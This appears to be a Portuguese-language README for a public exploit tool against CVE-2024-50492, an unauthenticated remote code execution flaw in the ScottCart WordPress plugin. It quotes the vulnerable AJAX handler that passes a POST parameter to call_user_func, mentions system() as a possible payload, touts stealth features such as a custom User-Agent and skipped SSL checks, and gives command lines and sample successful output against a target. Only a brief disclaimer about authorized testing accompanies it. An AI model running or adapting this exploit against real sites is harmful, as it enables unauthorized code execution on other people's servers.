nxploited/cve-2024-50492ScottCart <= 1.1 - Execução Remota de Código Não Autenticada
🔥 Script de Exploit para ScottCart <= 1.1 - Execução Remota de Código Não Autenticada
🧑💻 Por Nxploit – Khaled Alenazi
O plugin ScottCart para WordPress (versões ≤ 1.1) é vulnerável a Execução Remota de Código (RCE).
Isso permite que atacantes não autenticados executem funções PHP arbitrárias no servidor por meio de um endpoint AJAX vulnerável.
O plugin registra uma ação AJAX desprotegida:
add_action('wp_ajax_nopriv_scottcart_load_function', 'scottcart_load_function_callback');
Que executa:
call_user_func($_POST['function']);
Permitindo que atacantes chamem qualquer função PHP existente, como:
phpinfo()scottcart_get_the_user_ip()system() ← se estendido em ambientes modificadosphpinfo() para PoCresults_2025-03-26_14-33-01.txt)User-Agent personalizado, tratamento de erros e ignorar SSL para furtividadeusage: CVE-2024-50492.py [-h] -u URL [-p PAYLOAD]
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
By Nxploit Khaled Alenazi.
options:
-h, --help Show this help message and exit
-u URL, --url URL Target base URL (e.g., http://192.168.100.74:888/wordpress)
-p PAYLOAD, --payload PAYLOAD
Function to call (default: phpinfo)
phpinfo()):python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress -p scottcart_get_the_user_ip
[+] Target URL: http://192.168.100.74:888/wordpress
[+] Payload Function: phpinfo
[*] Launching exploit...
[+] Sending payload: function=phpinfo
[+] Exploit successful! Output:
PHP Version => 8.1.12
...
📁 E salvo em: results_2025-03-26_14-33-01.txt
Esta ferramenta é apenas para fins de teste educacional e autorizado.
Não use contra sistemas que você não possui ou sem permissão explícita para testar.